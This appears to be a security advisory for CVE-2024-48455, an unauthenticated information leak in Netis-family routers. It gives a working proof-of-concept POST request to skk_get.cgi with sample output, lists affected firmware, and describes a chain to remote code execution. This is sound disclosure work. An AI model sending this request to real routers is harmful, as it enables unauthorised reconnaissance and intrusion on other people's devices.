CVE-2024-48455 — Netis Routers Unauthenticated Information Disclosure

Overview

CVE-2024-48455 is an unauthenticated information-disclosure vulnerability affecting multiple Netis routers and rebranded devices from GLCtec and Stonet. A request to the router’s skk_get.cgi endpoint can return configuration and runtime data without requiring a valid session.

The disclosed information can be used to identify the device model, firmware version, network configuration, connected hosts and other operational details. In the exploit chain documented by this research, the information disclosure is combined with CVE-2024-48457 and CVE-2024-48456 to reach unauthenticated remote code execution.

Research environment

The vulnerability was reproduced using FirmAE to emulate Netis firmware. The example below uses Netis_NC65v2-V3.0.0.3800.bin and exposes the emulated web interface on 192.168.1.1.

./run.sh -d netis /root/FirmAE/firmwares/Netis_NC65v2-V3.0.0.3800.bin
[*] /root/FirmAE/firmwares/Netis_NC65v2-V3.0.0.3800.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] /root/FirmAE/firmwares/Netis_NC65v2-V3.0.0.3800.bin already succeed emulation!!!

[IID] 12
[MODE] debug
[+] Network reachable on 192.168.1.1!
[+] Web service on 192.168.1.1
[+] Run debug!
Creating TAP device tap12_0...
Set 'tap12_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.1 true true 39.913154010 41.109368119
[*] firmware - Netis_NC65v2-V3.0.0.3800
[*] IP - 192.168.1.1
[*] connecting to netcat (192.168.1.1:31337)
[+] netcat connected
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

~ # pwd
/

Proof of concept

No authentication is required. The following request returns router information directly from /cgi-bin/skk_get.cgi:

POST /cgi-bin/skk_get.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:131.0) Gecko/20100101 Firefox/131.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Connection: keep-alive

mode_name=skk_get&wl_link=0

The response contains extensive device and network state, including version and model data, routing information, ARP entries and other configuration details. An excerpt from the original test is shown below:

HTTP/1.1 200 OK
Date: Sun, 01 Jan 2023 00:07:53 GMT
Server: Boa/0.94.14rc21
Connection: close

{
  "version":"netis(NC65)V3.0.0.3800",
  "vender":"CIS",
  "model":"NC65v2",
  "easy_mesh":"EASYMESH",
  "switch_chipset":"",
  "tr069":"1",
  "time_now":"2023/01/01 08:07:53",
  "sys_date":"2023",
  "sys_date2":"1",
  "sys_date3":"1",
  "sys_time":"8",
  "sys_time2":"7",
  "sys_time3":"53",
  "uptime":"489","cpu":
  "20%","mem":"7%",
  "statsList":[{

--- lot of additional information ---

"wlanInfo":[
  {
   "st_wlconn":"0","apLinkList":[],
  },
  {
   "st_wlconn":"0","apLinkList":[],
  },
],
"routeTable":[
  {
  "dstip":"192.168.1.0",
  "mask":"255.255.255.0",
  "gw":"0.0.0.0",
  },
],
"arpList"[
  {
   "id":"1",
   "arp_ip":"192.168.1.2",
   "arp_mac":"d2:36:9f:d8:14:bf",
   "arp_host_name":"",
   "is_qos_idx":"0",
   "qos_up_limit":"0",
   "qos_down_limit":"0",
  },
],
"dhcpList":[],"ndp_list":[
  {
   "id":"1",
   "ndp_ip6":"fe80::d036:9fff:fed8:14bf",
   "ndp_mac":"d2:36:9f:d8:14:bf",
  },
],
"macClone":"d2:36:9f:d8:14:bf",
"wscLock":"0",
"ddnsInfo":"DDNS_STATE_START",
"serialNo":"",
"easymesh":{}
}

Exploit chain

This disclosure becomes more significant when combined with the two related Netis vulnerabilities documented in the same research:

CVE-2024-48455 identifies the target and exposes configuration information without authentication.
CVE-2024-48457 allows an unauthenticated attacker to reset the router administrator password.
CVE-2024-48456 provides command injection through the authenticated password-change workflow.

Together, these conditions provide a practical path to unauthenticated remote code execution. A Metasploit module was developed to automate the chain.

Affected firmware

The following firmware images were confirmed vulnerable in the archived research:

netis_MW5360_V1.0.1.3031_fw.bin
Netis_MW5360-1.0.1.3442.bin
Netis_MW5360_RUSSIA_844.bin
netis_NC21_V3.0.0.3800.bin
netis_NC63_V3.0.0.3327.bin
netis_NC63_v4_Bangladesh-V3.0.0.3889.bin
Netis_NC63-V3.0.0.3833.bin
netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
netis_NC65_V3.0.0.3749.bin
Netis_NC65_Bangladesh-V3.0.0.3508.bin
Netis_NC65v2-V3.0.0.3800.bin
netis_NX10_V2.0.1.3582_fw.bin
netis_NX10_V2.0.1.3643.bin
Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin
netis_NX10-V3.0.1.4205.bin
netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin
GLC_ALPHA_AC3-V3.0.2.115.bin

Impact

The issue exposes information that should only be available to an authenticated administrator. On its own, this assists reconnaissance and target validation. In combination with the related password-reset and command-injection vulnerabilities, it forms part of an unauthenticated RCE chain.

Exploit development

A Metasploit module automates the Netis exploit chain.
A ProjectDiscovery Nuclei template is available for detecting CVE-2024-48455.

Remediation

The archived research recorded no fix available at the time of publication. Where affected firmware remains deployed, restrict management-interface access to trusted networks and replace or update affected devices when fixed firmware is available.

References

Credits

Discovery: h00die-gr3y.